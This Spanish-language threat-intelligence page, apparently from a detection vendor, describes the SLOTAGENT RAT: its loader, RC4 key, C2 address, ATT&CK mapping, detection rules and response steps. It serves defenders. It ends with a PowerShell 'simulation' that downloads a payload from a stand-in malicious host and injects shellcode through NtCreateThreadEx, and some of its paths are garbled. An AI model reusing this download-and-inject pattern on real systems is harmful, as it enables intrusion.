Nuevo Malware SLOTAGENT que Admite la Ejecución BOF Publicado
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
IIJ identificó un RAT multifuncional previamente desconocido llamado SLOTAGENT dentro de un archivo ZIP subido a un repositorio público. El malware es compatible con la ejecución de payloads de Beacon Object File e incluye capacidades antiforenses como la manipulación de sellos de tiempo para dificultar el análisis. Se comunica con un punto final TCP codificado a través de un protocolo personalizado que intercambia datos en formato JSON. El cargador depende de datos de configuración cifrados con RC4 y utiliza carga reflexiva de DLL para ejecutar el payload final.
Investigación
El análisis estático mostró que el ejecutable del cargador, WindowsOobeAppHost.AOT.exe, resuelve funciones de API de Windows a través de una rutina de hash personalizada basada en DJB2. Su archivo de configuración cifrado, db.config, se descifra con RC4 usando la clave easdbadshyfab y luego se ejecuta como shellcode que contiene un DLL codificado con XOR. Después de cargarlo, el RAT se conecta a 43.156.59.110:699 y procesa comandos basados en JSON que soportan funciones como captura de pantalla, carga y descarga de archivos, y ejecución de BOF.
Mitigación
Los defensores deben detectar la dirección IP de comando y control codificada y buscar las cadenas de ruta características asociadas con el tráfico de red del malware. Las reglas YARA proporcionadas en el informe deberían desplegarse para identificar tanto el cargador como los componentes RAT. Los equipos de seguridad también deben monitorear el comportamiento sospechoso de hash de API y la carga reflexiva de DLL en los puntos finales. La ejecución de archivos EXE o DLL no firmados y no confiables debería restringirse siempre que sea posible.
Respuesta
Si se detectan indicadores vinculados a SLOTAGENT, aísle inmediatamente el host afectado, termine el proceso malicioso y recolecte memoria para un examen forense. La dirección IP de comando y control y los puertos relacionados deben ser bloqueados en el límite de la red. Las organizaciones deberían realizar un barrido completo de los nombres de archivos y hashes conocidos y aplicar las firmas YARA publicadas en los sistemas de detección de puntos finales.
graph TB %% Class Definitions Section classDef action fill:#99ccff classDef malware fill:#ffcc99 classDef process fill:#c2f0c2 classDef network fill:#ffd966 classDef data fill:#d9d9d9 %% Nodes Definitions malware_exe[«<b>Malware</b> – <b>Nombre</b>: WindowsOobeAppHost.AOT.exe<br/><b>Técnica</b>: T1204.002 Ejecución del Usuario»] class malware_exe malware exec_hijack[«<b>Técnica</b> – <b>T1574 Secuestro del Flujo de Ejecución</b>: Llama a la función exportada __managed__Main»] class exec_hijack action api_resolve[«<b>Técnica</b> – <b>T1027.007 Archivos Ofuscados/Almacenados: Desofuscar Archivos</b>: Hashing XOR/ROR11 personalizado para resolver direcciones API»] class api_resolve action config_decrypt[«<b>Técnica</b> – <b>T1027.007</b>: Descifra la configuración con RC4»] class config_decrypt action dll_decrypt[«<b>Técnica</b> – <b>T1027.007</b>: Descifra DLL codificada con XOR (agent_tcp.dll)»] class dll_decrypt action reflective_load[«<b>Técnica</b> – <b>T1620 Carga Reflectiva de DLL</b>: Carga la DLL en memoria sin tocar el disco»] class reflective_load process process_injection[«<b>Técnica</b> – <b>T1055.009 Inyección de Procesos: Secuestro de Ejecución de Hilo</b>: Inyecta la DLL reflejada en el proceso»] class process_injection process c2_channel[«<b>Técnica</b> – <b>T1571 Puerto No Estándar</b> and <b>T1573 Canal Cifrado</b>: Establece C2 TCP a 43.156.59.110:699»] class c2_channel network host_info[«<b>Técnica</b> – <b>T1592.001 Identidad de Víctima: Versión del SO</b> and <b>T1592.002 Detalles de Hardware</b>: Envía JSON con datos del sistema»] class host_info data proc_discovery[«<b>Técnica</b> – <b>T1057 Descubrimiento de Procesos</b>: Enumera procesos en ejecución»] class proc_discovery data file_discovery[«<b>Técnica</b> – <b>T1083 Descubrimiento de Archivos y Directorios</b>: Lista archivos y directorios»] class file_discovery data screenshot_cap[«<b>Técnica</b> – <b>T1113 Captura de Pantalla</b>: Captura la pantalla del host»] class screenshot_cap data remote_shell[«<b>Técnica</b> – <b>T1059 Shell de Comandos</b>: Ejecuta comandos mediante shell remoto»] class remote_shell process bof_execution[«<b>Técnica</b> – <b>T1027.009 Payloads Embebidos</b> and <b>T1027.004 Compilar Tras Entrega</b>: Ejecuta módulos BOF»] class bof_execution process shared_modules[«<b>Técnica</b> – <b>T1129 Módulos Compartidos</b>: Carga módulos adicionales»] class shared_modules process file_transfer[«<b>Técnica</b> – <b>T1105 Transferencia de Herramientas</b>: Descarga y sube archivos»] class file_transfer data proc_termination[«<b>Técnica</b> – <b>T1106 API Nativa</b>: Termina procesos»] class proc_termination process sleep_manip[«<b>Técnica</b> – <b>T1027.004</b>: Manipula intervalos de sueño para evadir análisis»] class sleep_manip action %% Connections malware_exe –>|triggers| exec_hijack exec_hijack –>|uses| api_resolve api_resolve –>|enables| config_decrypt config_decrypt –>|provides| dll_decrypt dll_decrypt –>|feeds| reflective_load reflective_load –>|enables| process_injection process_injection –>|establishes| c2_channel c2_channel –>|collects| host_info c2_channel –>|collects| proc_discovery c2_channel –>|collects| file_discovery c2_channel –>|collects| screenshot_cap c2_channel –>|enables| remote_shell remote_shell –>|executes| bof_execution bof_execution –>|loads| shared_modules c2_channel –>|supports| file_transfer c2_channel –>|supports| proc_termination c2_channel –>|uses| sleep_manip
Flujo de ataque
Detecciones
Intento posible de carga lateral de DLL WindowsOobeAppHost.AOT (vía carga de imagen)
Ver
IOCs (HashSha256) para detectar: Nuevo malware SLOTAGENT que soporta ejecución de BOF publicado
Ver
IOCs (SourceIP) para detectar: Nuevo malware SLOTAGENT que soporta ejecución de BOF publicado
Ver
IOCs (DestinationIP) para detectar: Nuevo malware SLOTAGENT que soporta ejecución de BOF publicado
Ver
Detectar comunicación C2 de SLOTAGENT [Conexión de Red de Windows]
Ver
Detección de Ejecución de Malware SLOTAGENT [Creación de Proceso de Windows]
Ver
Ejecución de Simulación
Prerequisito: La verificación previa de Telemetría y Línea Base debe haber pasado.
-
Narrativa de Ataque y Comandos:
El adversario ha obtenido una copia del binario del cargador SLOTAGENT, lo ha renombrado a
WindowsOobeAppHost.AOT.exepara mezclarse con los procesos legítimos de OOBE, y lo ha colocado enC:WindowsSystem32. El payload está almacenado en un blob cifrado en el servidor del atacante. Usando PowerShell, el atacante descarga el blob cifrado, lo descifra en memoria, e invoca la rutina reflexiva del cargador a través deNtCreateThreadEx. El cargador llama internamente aNtCreateFilepara leer recursos adicionales del blob cifrado y luego utiliza carga reflexiva para ejecutar el DLL malicioso sin tocar el disco. Esta actividad produce un evento Sysmon ProcessCreate con exactamente elnombre de la Imageny unCallTraceque contiene las tres cadenas definidas en la regla. -
Script de Prueba de Regresión:
# ------------------------------------------------- # Simulación de carga reflexiva SLOTAGENT (Windows) # ------------------------------------------------- # 1. Definir rutas $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe" $payloadUrl = "https://malicious.example.com/payload.bin" $tempPayload = "$env:TEMPpayload.bin" # 2. Asegúrese de que el cargador exista (copia simulada del binario real) if (-not (Test-Path $loaderPath)) { Write-Host "Copiando cargador simulado a $loaderPath" Copy-Item -Path "C:ToolsFakeLoader.exe" -Destination $loaderPath } # 3. Descargar payload cifrado (simulado) Invoke-WebRequest -Uri $payloadUrl -OutFile $tempPayload # 4. Descifrar payload en memoria (marcador de posición – descifrado real omitido) $decryptedBytes = Get-Content $tempPayload -Encoding Byte # 5. Invocar carga reflexiva a través de llamadas a API nativas # Esto usa un pequeño ayudante C# compilado al vuelo que llama a NtCreateThreadEx $cSharp = @" using System; using System.Runtime.InteropServices; public class ReflectiveLoader { [DllImport("ntdll.dll", SetLastError=true)] public static extern IntPtr NtCreateThreadEx( out IntPtr threadHandle, uint desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr startAddress, IntPtr parameter, bool createSuspended, uint stackZeroBits, uint sizeOfStackCommit, uint sizeOfStackReserve, IntPtr bytesBuffer); public static void Run(byte[] shellcode) { IntPtr hThread; NtCreateThreadEx(out hThread, 0x1FFFFF, IntPtr.Zero, Process.GetCurrentProcess().Handle, Marshal.UnsafeAddrOfPinnedArrayElement(shellcode, 0), IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero); } } "@ Add-Type $cSharp -Language CSharp # 6. Limpiar archivo temporal Remove-Item $tempPayload -Force -
Comandos de Limpieza:
# Terminar cualquier proceso del cargador que quede Get-Process -Name "WindowsOobeAppHost.AOT" -ErrorAction SilentlyContinue | Stop-Process -Force # Eliminar binario del cargador simulado $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe" if (Test-Path $loaderPath) { Remove-Item $loaderPath -Force } # Eliminar cualquier archivo temporal residual Remove-Item "$env:TEMPpayload.bin" -ErrorAction SilentlyContinue